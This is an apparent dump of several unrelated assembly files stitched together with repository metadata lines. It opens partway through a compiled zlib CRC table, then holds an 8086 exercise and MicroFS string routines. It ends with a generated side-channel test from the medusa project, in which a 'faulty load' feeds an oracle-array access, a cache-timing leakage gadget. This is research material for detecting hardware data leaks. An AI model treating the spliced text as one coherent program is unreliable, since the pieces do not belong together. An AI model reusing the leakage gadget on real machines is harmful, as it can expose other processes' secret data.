-1025951553 .long 231055416 .long 1291107105 .long -1884842486 .long -828994285 .long 151047260 .long 1211225925 .long -1956447634 .long -900472457 .long 1415429050 .long 359440547 .long -700478072 .long -1760651631 .long 1352194014 .long 296340679 .long -755310100 .long -1815348491 .long 1557619314 .long 501643627 .long -558541760 .long -1618718887 .long 1477578262 .long 421729551 .long -630179804 .long -1690229955 .long -1486095003 .long -430250372 .long 621398871 .long 1681444942 .long -1548840703 .long -492860904 .long 567060275 .long 1627241514 .long -1344199507 .long -288342092 .long 763564703 .long 1823607174 .long -1423685431 .long -367701040 .long 692485883 .long 1752655330 .long -159826129 .long -1220008906 .long 1947928861 .long 891949572 .long -222538933 .long -1282586542 .long 1893623161 .long 837779040 .long -17570073 .long -1077740034 .long 2089930965 .long 1033948108 .long -97088893 .long -1157131878 .long 2018819249 .long 962963368 .long 1268286267 .long 178886690 .long -906316535 .long -1999917552 .long 1331556191 .long 242021446 .long -851453587 .long -1945189772 .long 1125276403 .long 35865066 .long -1049596735 .long -2143193128 .long 1205286551 .long 115748238 .long -977993563 .long -2071716932 .long 445268337 .long 1539005032 .long -1729595581 .long -640062374 .long 508505365 .long 1602106892 .long -1674765529 .long -585367490 .long 302028985 .long 1395753888 .long -1872580981 .long -783043182 .long 382072029 .long 1475669956 .long -1800944913 .long -711534090 .long -373553234 .long -1467147081 .long 1809723804 .long 720317061 .long -310809654 .long -1404538669 .long 1864064504 .long 774522593 .long -516497818 .long -1610103425 .long 1666508884 .long 577106765 .long -437014014 .long -1530746597 .long 1737589808 .long 648060713 .long -1196505628 .long -106963203 .long 986510294 .long 2080237775 .long -1133794944 .long -44387687 .long 1040818098 .long 2134410411 .long -1339810772 .long -250280139 .long 843459102 .long 1937191175 .long -1260294072 .long -170890415 .long 914572922 .long 2008178019 .long 1322777291 .long 266789330 .long -860500743 .long -1920673824 .long 1242732207 .long 186879414 .long -932142947 .long -1992180860 .long 1180508931 .long 124532762 .long -1002498767 .long -2062676440 .long 1117278055 .long 61428862 .long -1057326763 .long -2117377460 .long 533018753 .long 1593058200 .long -1649996109 .long -594143830 .long 453006565 .long 1513181180 .long -1721605417 .long -665617970 .long 391110985 .long 1451162192 .long -1792157829 .long -736310174 .long 327847213 .long 1388025396 .long -1847018721 .long -791044090 .long -319586722 .long -1379769017 .long 1855015020 .long 799036277 .long -399109574 .long -1459156701 .long 1783899144 .long 728055569 .long -461789290 .long -1521959793 .long 1713082788 .long 657099453 .long -524497934 .long -1584541461 .long 1658781120 .long 602924761 .long -1109279724 .long -53434611 .long 1065585190 .long 2125631807 .long -1188769680 .long -132789399 .long 994502210 .long 2054683995 .long -1251252772 .long -195395899 .long 923358190 .long 1983400183 .long -1313994312 .long -258010463 .long 869023626 .long 1929192595 .long 0 .long 929743361 .long 1859421187 .long 1505641986 .long -592967417 .long -339555578 .long -1300460284 .long -2062135547 .long -1202646258 .long -1891905265 .long -695888115 .long -504408820 .long 1694046729 .long 1402198024 .long 170761738 .long 1028086795 .long 1889740316 .long 1204413469 .long 511156767 .long 689791006 .long -1408553189 .long -1688081126 .long -1025529064 .long -172660455 .long -923650798 .long -6752493 .long -1507413743 .long -1857260784 .long 341457941 .long 590413332 .long 2056173590 .long 1306819095 .long -532263624 .long -684945607 .long -1902982853 .long -1174926534 .long 1022247999 .long 193234494 .long 1379582012 .long 1699742269 .long 1477926454 .long 1870502967 .long 918805045 .long 27858996 .long -2067835087 .long -1277848272 .long -362032334 .long -587132621 .long -1864013020 .long -1483757275 .long -30281945 .long -916771546 .long 1280139811 .long 2066194466 .long 580511264 .long 368256033 .long 682915882 .long 534690347 .long 1180761129 .long 1896496680 .long -199462611 .long -1015631060 .long -1698106066 .long -1381877969 .long -1064461712 .long -135833487 .long -1369891213 .long -1724654478 .long 472224631 .long 726618486 .long 1928402804 .long 1167840629 .long 2027719038 .long 1337346943 .long 369626493 .long 560123772 .long -1535868807 .long -1826733448 .long -895482758 .long -37042565 .long -1339114388 .long -2025554323 .long -554026897 .long -376374674 .long 1820767595 .long 1542223722 .long 38941032 .long 892924777 .long 142585698 .long 1058368867 .long 1722493793 .long 1371662688 .long -724064667 .long -474127260 .long -1174199706 .long -1922441113 .long 550229832 .long 396432713 .long 1310675787 .long 2037748042 .long -60563889 .long -888595378 .long -1833477556 .long -1512204211 .long -1734687674 .long -1343224249 .long -162643899 .long -1054571964 .long 1144180033 .long 1935150912 .long 719735106 .long 495749955 .long 1349054804 .long 1728197461 .long 1052538199 .long 165066582 .long -1933510573 .long -1146471854 .long -501973936 .long -713114031 .long -398859686 .long -548200357 .long -2031262119 .long -1316510632 .long 881978205 .long 66791772 .long 1514499934 .long 1831841119 .long -2145700383 .long -1217267744 .long -288378398 .long -643468317 .long 1555250406 .long 1809448679 .long 845658341 .long 84769508 .long 944383727 .long 253813998 .long 1453236972 .long 1643405549 .long -454938648 .long -746000919 .long -1976128533 .long -1118017046 .long -256371715 .long -942484996 .long -1637050370 .long -1459202561 .long 739252986 .long 461035771 .long 1120182009 .long 1974361336 .long 1223229683 .long 2139341554 .long 641565936 .long 290932465 .long -1807676940 .long -1557410827 .long -90862089 .long -838905866 .long 1616738521 .long 1463270104 .long 243924186 .long 971194075 .long -1124765218 .long -1952468001 .long -769526307 .long -448055332 .long -670274601 .long -278484522 .long -1227296812 .long -2119029291 .long 77882064 .long 869179601 .long 1785784019 .long 1561994450 .long 285105861 .long 664050884 .long 2116737734 .long 1228937415 .long -866756670 .long -79915581 .long -1568484415 .long -1779953216 .long -1464906293 .long -1614442550 .long -964965944 .long -250541111 .long 1946633420 .long 1131251405 .long 450085071 .long 767099598 .long 1083617169 .long 2013031824 .long 776088466 .long 422111635 .long -1673615722 .long -1420532585 .long -219536747 .long -981409644 .long -121127777 .long -810713442 .long -1777125220 .long -1585841507 .long 611300760 .long 319125401 .long 1253781915 .long 2110911386 .long 808814989 .long 123685772 .long 1591807374 .long 1770770319 .long -325222262 .long -604552565 .long -2109143927 .long -1255946616 .long -2006672765 .long -1089578878 .long -424665472 .long -774185855 .long 1422693252 .long 1671844229 .long 974657415 .long 225629574 .long -1596923223 .long -1749409624 .long -838572374 .long -110189397 .long 2088299438 .long 1259481519 .long 313290669 .long 633777580 .long 411169191 .long 803943334 .long 1985312164 .long 1094694821 .long -1003882336 .long -213697887 .long -1426228061 .long -1650999646 .long -797719371 .long -417790284 .long -1096335178 .long -1983020361 .long 215731634 .long 1001459635 .long 1645169073 .long 1432718256 .long 1747113915 .long 1598559674 .long 116806584 .long 832344505 .long -1265967428 .long -2082464579 .long -631350593 .long -315320130 .long 0 .long 1701297336 .long -1949824598 .long -290474734 .long 1469538959 .long 854646327 .long -597726427 .long -1187457123 .long -282544955 .long -1974531971 .long 1692450159 .long 25625047 .long -1195387318 .long -573019406 .long 863494112 .long 1443914584 .long -1621681840 .long -97475096 .long 345968890 .long 1912122434 .long -926909473 .long -1381513369 .long 1124627061 .long 644861645 .long 1887415701 .long 353898797 .long -71850945 .long -1630529401 .long 669568794 .long 1116697506 .long -1407138128 .long -918062584 .long 1051669152 .long 1539870232 .long -1251525878 .long -805271630 .long 1765298223 .long 207613079 .long -487564923 .long -2020088515 .long -779647387 .long -1260373283 .long 1515163599 .long 1059599223 .long -2045713174 .long -478717870 .long 232320320 .long 1757368824 .long -1577571344 .long -996174008 .long 707797594 .long 1331142370 .long -160478849 .long -1828129337 .long 2108113109 .long 415300717 .long 1322295093 .long 733422477 .long -988244321 .long -1602278873 .long 424148410 .long 2082488578 .long -1836059632 .long -135771992 .long 1029182619 .long 1480566819 .long -1232069327 .long -738745975 .long 1791981076 .long 262720172 .long -519602242 .long -2074033402 .long -764370850 .long -1223222042 .long 1505274356 .long 1021252940 .long -2048408879 .long -528449943 .long 238013307 .long 1799911363 .long -1576071733 .long -949440141 .long 700908641 .long 1285601497 .long -174559420 .long -1862282244 .long 2119198446 .long 456645206 .long 1294448910 .long 675284406 .long -957370204 .long -1551365092 .long 447798145 .long 2144823097 .long -1854352853 .long -199266669 .long 66528827 .long 1720752771 .long -2009124975 .long -312962263 .long 1415595188 .long 822605836 .long -542618338 .long -1160777306 .long -320892162 .long -1984418234 .long 1729600340 .long 40904684 .long -1152847759 .long -567325495 .long 813758939 .long 1441219939 .long -1667219605 .long -104365101 .long 392705729 .long 1913621113 .long -885563932 .long -1370431140 .long 1090475086 .long 630778102 .long 1938328494 .long 384775958 .long -129990140 .long -1658372420 .long 606071073 .long 1098405273 .long -1344806773 .long -894411725 .long 1001806317 .long 1590814037 .long -1333899193 .long -719721217 .long 1814117218 .long 155617242 .long -404147512 .long -2104586640 .long -727782104 .long -1309060720 .long 1599530114 .long 976312378 .long -2096525401 .long -428985569 .long 146900493 .long 1839610549 .long -1528741699 .long -1048118267 .long 791234839 .long 1246688687 .long -210361806 .long -1777230198 .long 2025728920 .long 500799264 .long 1271526520 .long 783173824 .long -1073611310 .long -1520025238 .long 475961079 .long 2033789519 .long -1751736483 .long -219077659 .long 85551949 .long 1618925557 .long -1898880281 .long -340337057 .long 1385040322 .long 938063226 .long -649723800 .long -1138639664 .long -365830264 .long -1890163920 .long 1643763234 .long 77490842 .long -1113146105 .long -658439745 .long 913224877 .long 1393100821 .long -1706135011 .long -14037339 .long 294026167 .long 1960953615 .long -841412462 .long -1463899094 .long 1175525688 .long 594978176 .long 1969669848 .long 268532320 .long -22098062 .long -1681296438 .long 586261591 .long 1201019119 .long -1455837699 .long -866250427 .long 116280694 .long 1669984718 .long -1926871844 .long -398329756 .long 1366896633 .long 874419009 .long -625924525 .long -1076454677 .long -372835917 .long -1935588085 .long 1645146137 .long 124341409 .long -1101948100 .long -617207932 .long 899256982 .long 1358835246 .long -1715907546 .long -52500322 .long 309419404 .long 1997988148 .long -835832151 .long -1421243887 .long 1172717315 .long 545358779 .long 1989271779 .long 334912603 .long -44439223 .long -1740745231 .long 554074732 .long 1147223764 .long -1429304378 .long -810993794 .long 943816662 .long 1562821486 .long -1282836868 .long -688993596 .long 1876303193 .long 179413473 .long -467790605 .long -2122733493 .long -680932589 .long -1307674709 .long 1554105017 .long 969309697 .long -2130794084 .long -442952412 .long 188129334 .long 1850809486 .long -1491704186 .long -1032725954 .long 752774956 .long 1236915092 .long -259980279 .long -1780041551 .long 2068385187 .long 506376475 .long 1212076611 .long 760835835 .long -1007232023 .long -1500420271 .long 531214540 .long 2060323956 .long -1805534874 .long -251263522 .size crc_table, 8192 # ---------------------- .data .align 4 .local p.0 .type p.0, @object p.0: .long 134582716 .size p.0, 4 # ---------------------- .local static_bl_desc .type static_bl_desc, @object static_bl_desc: .long 0 .long extra_blbits .long 0 .long 19 .long 7 .size static_bl_desc, 20 # ---------------------- .local static_d_desc .type static_d_desc, @object static_d_desc: .long static_dtree .long extra_dbits .long 0 .long 30 .long 15 .size static_d_desc, 20 # ---------------------- .local static_l_desc .type static_l_desc, @object static_l_desc: .long static_ltree .long extra_lbits .long 257 .long 286 .long 15 .size static_l_desc, 20 # ---------------------- .bss .align 4 .globl prog .type prog, @object prog: .zero 4 .size prog, 4 # ---------------------- .ident "GCC: (GNU) 3.4.6 20060404 (Red Hat 3.4.6-10)" .section .note.GNU-stack,"",@progbits
20.140123
451
0.53288
5a14a1b5a451b7ab472bd69fdcfbedb464f3fc6e
1,549
asm
Assembly
code/Forec/t41.asm
KongoHuster/assembly-exercise
1c4a44c60c0e93a1350ed4f887aeaf1414702a51
[ "0BSD" ]
1
2021-08-20T03:57:29.000Z
2021-08-20T03:57:29.000Z
code/Forec/t41.asm
KongoHuster/assembly-exercise
1c4a44c60c0e93a1350ed4f887aeaf1414702a51
[ "0BSD" ]
null
null
null
code/Forec/t41.asm
KongoHuster/assembly-exercise
1c4a44c60c0e93a1350ed4f887aeaf1414702a51
[ "0BSD" ]
null
null
null
;; last edit date: 2016/11/23 ;; author: Forec ;; LICENSE ;; Copyright (c) 2015-2017, Forec <forec@bupt.edu.cn> ;; Permission to use, copy, modify, and/or distribute this code for any ;; purpose with or without fee is hereby granted, provided that the above ;; copyright notice and this permission notice appear in all copies. ;; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES ;; WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF ;; MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ;; ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES ;; WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ;; ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF ;; OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. title forec_t41 data segment h dw ? key dw ? k dw ? i dw ? s dw ? datas db 100 dup(?) data ends code segment assume cs:code, ds:data start: mov ax, ds mov ds, ax mov es, ax ;; (1) mov cl, 8 mov ax, key and ax, 0ff00h shr ax, cl mov h, ax ;; (2) mov ax, k add ax, '1' sub ax, 0abcdh mov bx, 38h ;; 56 mov dx, 0h idiv bx mov k, ax ;; (3) mov cx, 64h mov si, 0h ;; i mov bx, 0h ;; s mov dh, 2h loop1: mov al, datas[si] imul dh add bx, ax inc si loop loop1 mov s, bx mov i, 100 ;; (4) mov bx, 0h ;; s mov cx, 64h ;; i mov dh, 2h loop2: mov al, cl mul dh add bx, ax loop loop2 mov s, bx mov i, 0 quit: mov ah, 4ch int 21h code ends end start
18.890244
75
0.672046
b56bc5593a71c643c34e38b256d62e2b01cbe8eb
9,873
asm
Assembly
features/strings.asm
KenyStev/MicroFS_x86
56ac4fe5d6566fef1bbd3eeedabc8c0210062716
[ "MIT" ]
null
null
null
features/strings.asm
KenyStev/MicroFS_x86
56ac4fe5d6566fef1bbd3eeedabc8c0210062716
[ "MIT" ]
null
null
null
features/strings.asm
KenyStev/MicroFS_x86
56ac4fe5d6566fef1bbd3eeedabc8c0210062716
[ "MIT" ]
null
null
null
; ------------------------------------------------------------------ ; os_string_length -- Return length of a string ; IN: AX = string location ; OUT AX = length (other regs preserved) os_string_length: pusha mov bx, ax ; Move location of string to BX mov cx, 0 ; Counter .more: cmp byte [bx], 0 ; Zero (end of string) yet? je .done inc bx ; If not, keep adding inc cx jmp .more .done: mov word [.tmp_counter], cx ; Store count before restoring other registers popa mov ax, [.tmp_counter] ; Put count back into AX before returning ret .tmp_counter dw 0 ; ------------------------------------------------------------------ ; os_string_copy -- Copy one string into another ; IN/OUT: SI = source, DI = destination (programmer ensure sufficient room) os_string_copy: pusha .more: mov al, [si] ; Transfer contents (at least one byte terminator) cmp byte al, 0 ; If source string is empty, quit out je .done mov [di], al inc si inc di jmp .more .done: popa ret ; ------------------------------------------------------------------ ; os_clear_screen -- Clears the screen to background ; IN/OUT: Nothing (registers preserved) os_clear_screen: pusha mov dx, 0 ; Position cursor at top-left call os_move_cursor mov ah, 6 ; Scroll full-screen mov al, 0 ; Normal white on black mov bh, 7 ; mov cx, 0 ; Top-left mov dh, 24 ; Bottom-right mov dl, 79 int 10h popa ret ; ------------------------------------------------------------------ ; os_input_string -- Take string from keyboard entry ; IN/OUT: AX = location of string, other regs preserved ; (Location will contain up to 255 characters, zero-terminated) os_input_string: pusha mov di, ax ; DI is where we'll store input (buffer) mov cx, 0 ; Character received counter for backspace .more: ; Now onto string getting call os_wait_for_key cmp al, 13 ; If Enter key pressed, finish je .done cmp al, 8 ; Backspace pressed? je .backspace ; If not, skip following checks cmp al, ' ' ; In ASCII range (32 - 126)? jb .more ; Ignore most non-printing characters cmp al, '~' ja .more jmp .nobackspace .backspace: cmp cx, 0 ; Backspace at start of string? je .more ; Ignore it if so call os_get_cursor_pos ; Backspace at start of screen line? cmp dl, 0 je .backspace_linestart pusha mov ah, 0Eh ; If not, write space and move cursor back mov al, 8 int 10h ; Backspace twice, to clear space mov al, 32 int 10h mov al, 8 int 10h popa dec di ; Character position will be overwritten by new ; character or terminator at end dec cx ; Step back counter jmp .more .backspace_linestart: dec dh ; Jump back to end of previous line mov dl, 79 call os_move_cursor mov al, ' ' ; Print space there mov ah, 0Eh int 10h mov dl, 79 ; And jump back before the space call os_move_cursor dec di ; Step back position in string dec cx ; Step back counter jmp .more .nobackspace: pusha mov ah, 0Eh ; Output entered, printable character int 10h popa mov byte[di], al inc di ; Store character in designated buffer inc cx ; Characters processed += 1 cmp cx, 254 ; Make sure we don't exhaust buffer jae near .done jmp near .more ; Still room for more .done: mov ax, 0 mov byte[di], al inc di popa ret os_print_horiz_line: pusha mov cx, ax ; Store line type param mov al, 196 ; Default is single-line code cmp cx, 1 ; Was double-line specified in AX? jne .ready mov al, 205 ; If so, here's the code .ready: mov cx, 0 ; Counter mov ah, 0Eh ; BIOS output char routine .restart: int 10h inc cx cmp cx, 80 ; Drawn 80 chars yet? je .done jmp .restart .done: popa ret ; ------------------------------------------------------------------ ; os_move_cursor -- Moves cursor in text mode ; IN: DH, DL = row, column; OUT: Nothing (registers preserved) os_move_cursor: pusha mov bh, 0 mov ah, 2 int 10h ; BIOS interrupt to move cursor popa ret ; ------------------------------------------------------------------ ; os_get_cursor_pos -- Return position of text cursor ; OUT: DH, DL = row, column os_get_cursor_pos: pusha mov bh, 0 mov ah, 3 int 10h ; BIOS interrupt to get cursor position mov [.tmp], dx popa mov dx, [.tmp] ret .tmp dw 0 ; ------------------------------------------------------------------ ; os_int_to_string -- Convert unsigned integer to string ; IN: AX = signed int ; OUT: AX = string location os_int_to_string: pusha mov cx, 0 mov bx, 10 ; Set BX 10, for division and mod mov di, .t ; Get our pointer ready .push: mov dx, 0 div bx ; Remainder in DX, quotient in AX inc cx ; Increase pop loop counter push dx ; Push remainder, so as to reverse order when popping test ax, ax ; Is quotient zero? jnz .push ; If not, loop again .pop: pop dx ; Pop off values in reverse order, and add 48 to make them digits add dl, '0' ; And save them in the string, increasing the pointer each time mov [di], dl inc di dec cx jnz .pop mov byte [di], 0 ; Zero-terminate string popa mov ax, .t ; Return location of string ret .t times 5 db 0 ; ------------------------------------------------------------------ ; os_string_to_int -- Convert decimal string to integer value ; IN: SI = string location (max 5 chars, up to '65536') ; OUT: AX = number os_string_to_int: pusha mov ax, si ; First, get length of string call os_string_length add si, ax ; Work from rightmost char in string dec si mov cx, ax ; Use string length as counter mov bx, 0 ; BX will be the final number mov ax, 0 ; As we move left in the string, each char is a bigger multiple. The ; right-most character is a multiple of 1, then next (a char to the ; left) a multiple of 10, then 100, then 1,000, and the final (and ; leftmost char) in a five-char number would be a multiple of 10,000 mov word [.multiplier], 1 ; Start with multiples of 1 .loop: mov ax, 0 mov byte al, [si] ; Get character sub al, 48 ; Convert from ASCII to real number mul word [.multiplier] ; Multiply by our multiplier add bx, ax ; Add it to BX push ax ; Multiply our multiplier by 10 for next char mov word ax, [.multiplier] mov dx, 10 mul dx mov word [.multiplier], ax pop ax dec cx ; Any more chars? cmp cx, 0 je .finish dec si ; Move back a char in the string jmp .loop .finish: mov word [.tmp], bx popa mov word ax, [.tmp] ret .multiplier dw 0 .tmp dw 0 ; ------------------------------------------------------------------ ; os_string_parse -- Take string (eg "run foo bar baz") and return ; pointers to zero-terminated strings (eg AX = "run", BX = "foo" etc.) ; IN: SI = string; OUT: AX, BX, CX, DX = individual strings os_string_parse: push si mov ax, si ; AX = start of first string mov bx, 0 ; By default, other strings start empty mov cx, 0 mov dx, 0 push ax ; Save to retrieve at end .loop1: lodsb ; Get a byte cmp al, 0 ; End of string? je .finish cmp al, ' ' ; A space? jne .loop1 dec si mov byte [si], 0 ; If so, zero-terminate this bit of the string inc si ; Store start of next string in BX mov bx, si .loop2: ; Repeat the above for CX and DX... lodsb cmp al, 0 je .finish cmp al, ' ' jne .loop2 dec si mov byte [si], 0 inc si mov cx, si .loop3: lodsb cmp al, 0 je .finish cmp al, ' ' jne .loop3 dec si mov byte [si], 0 inc si mov dx, si .finish: pop ax pop si ret ; ------------------------------------------------------------------ ; os_string_compare -- See if two strings match ; IN: SI = string one, DI = string two ; OUT: carry set if same, clear if different os_string_compare: pusha .more: mov al, [si] ; Retrieve string contents mov bl, [di] ; pusha ; call print_char ; mov al, bl ; call print_char ; popa cmp al, bl ; Compare characters at current location jne .not_same cmp al, 0 ; End of first string? Must also be end of second je .terminated inc si inc di jmp .more .not_same: ; If unequal lengths with same beginning, the byte popa ; comparison fails at shortest string terminator clc ; Clear carry flag ret .terminated: ; Both strings terminated at the same position popa stc ; Set carry flag ret ; ------------------------------------------------------------------ ; os_string_chomp -- Strip leading and trailing spaces from a string ; IN: AX = string location os_string_chomp: pusha mov dx, ax ; Save string location mov di, ax ; Put location into DI mov cx, 0 ; Space counter .keepcounting: ; Get number of leading spaces into BX cmp byte [di], ' ' jne .counted inc cx inc di jmp .keepcounting .counted: cmp cx, 0 ; No leading spaces? je .finished_copy mov si, di ; Address of first non-space character mov di, dx ; DI = original string start .keep_copying: mov al, [si] ; Copy SI into DI mov [di], al ; Including terminator cmp al, 0 je .finished_copy inc si inc di jmp .keep_copying .finished_copy: mov ax, dx ; AX = original string start call os_string_length cmp ax, 0 ; If empty or all blank, done, return 'null' je .done mov si, dx add si, ax ; Move to end of string .more: dec si cmp byte [si], ' ' jne .done mov byte [si], 0 ; Fill end spaces with 0s jmp .more ; (First 0 will be the string terminator) .done: popa ret
20.611691
81
0.589183
ef4c35d127be98f1c4a85eed9713dc25f5feb74f
9,176
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1784.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1784.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1784.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r15 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x12f8e, %r11 nop nop nop and %r12, %r12 mov (%r11), %rbx nop nop nop nop sub $5428, %r15 lea addresses_WC_ht+0x2d9e, %r10 nop nop nop nop nop xor $5568, %rbp mov $0x6162636465666768, %r12 movq %r12, %xmm2 vmovups %ymm2, (%r10) nop nop nop sub %r15, %r15 lea addresses_D_ht+0x1088e, %rsi lea addresses_D_ht+0xd826, %rdi nop nop nop and $52325, %r10 mov $39, %rcx rep movsb nop nop xor $2565, %r12 lea addresses_D_ht+0x1394e, %rsi lea addresses_WC_ht+0x1308e, %rdi nop sub %rbx, %rbx mov $91, %rcx rep movsw nop nop cmp $43835, %rcx lea addresses_A_ht+0x8d8e, %rcx nop nop inc %r12 movl $0x61626364, (%rcx) add $38744, %r11 lea addresses_D_ht+0x1e48e, %rsi lea addresses_WC_ht+0x14a8e, %rdi clflush (%rsi) clflush (%rdi) nop nop cmp $56389, %rbx mov $15, %rcx rep movsw nop nop nop cmp $29980, %rdi lea addresses_WC_ht+0x1ae4e, %rsi lea addresses_A_ht+0x714e, %rdi nop nop nop xor %rbx, %rbx mov $63, %rcx rep movsq nop add $60420, %rcx lea addresses_D_ht+0x118e, %rsi lea addresses_normal_ht+0xdb0e, %rdi clflush (%rdi) nop nop nop nop nop xor $5394, %r15 mov $97, %rcx rep movsw dec %r10 lea addresses_D_ht+0x1a6ce, %rcx nop and %rbp, %rbp movb $0x61, (%rcx) sub %rsi, %rsi lea addresses_A_ht+0x1488e, %rsi lea addresses_WT_ht+0x7b0e, %rdi clflush (%rdi) nop nop sub %r15, %r15 mov $85, %rcx rep movsl nop nop nop nop nop dec %rcx lea addresses_A_ht+0xace, %rsi lea addresses_UC_ht+0xccfc, %rdi nop nop add %r12, %r12 mov $41, %rcx rep movsq and %rsi, %rsi lea addresses_UC_ht+0x1308e, %rcx nop nop dec %r15 movl $0x61626364, (%rcx) nop nop nop nop nop inc %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r8 push %r9 push %rbx push %rcx push %rdi push %rdx // Store mov $0x456, %rdi add $7054, %rdx mov $0x5152535455565758, %r8 movq %r8, %xmm7 vmovups %ymm7, (%rdi) nop nop nop nop add $30501, %r8 // Store lea addresses_UC+0x126cf, %r9 nop xor $15701, %rbx movl $0x51525354, (%r9) nop nop nop sub $61879, %r9 // Store lea addresses_US+0xac0e, %rdi nop nop nop nop nop and %r10, %r10 movl $0x51525354, (%rdi) nop nop xor $48206, %rdi // Store lea addresses_RW+0x11aee, %rdi nop nop nop cmp %r8, %r8 mov $0x5152535455565758, %r10 movq %r10, %xmm6 vmovups %ymm6, (%rdi) nop nop add $29697, %rbx // Load lea addresses_A+0x14a8e, %rcx nop nop nop dec %rdx movb (%rcx), %r8b nop nop nop nop nop xor %rcx, %rcx // Load lea addresses_A+0x658e, %r8 nop dec %rdi movups (%r8), %xmm2 vpextrq $1, %xmm2, %rbx cmp %r9, %r9 // Store mov $0x84e, %r10 nop nop nop nop and %rbx, %rbx mov $0x5152535455565758, %rdx movq %rdx, (%r10) nop nop cmp $53994, %rbx // Store mov $0x75e, %r8 nop nop nop nop nop and %rdi, %rdi mov $0x5152535455565758, %r9 movq %r9, %xmm6 movups %xmm6, (%r8) nop nop nop dec %rdx // Faulty Load lea addresses_WC+0x1088e, %r9 nop nop nop nop nop xor $23015, %rbx movups (%r9), %xmm2 vpextrq $0, %xmm2, %r10 lea oracles, %rbx and $0xff, %r10 shlq $12, %r10 mov (%rbx,%r10,1), %r10 pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_P'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_US'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_RW'}} {'src': {'congruent': 9, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_P'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_P'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 8, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_UC_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 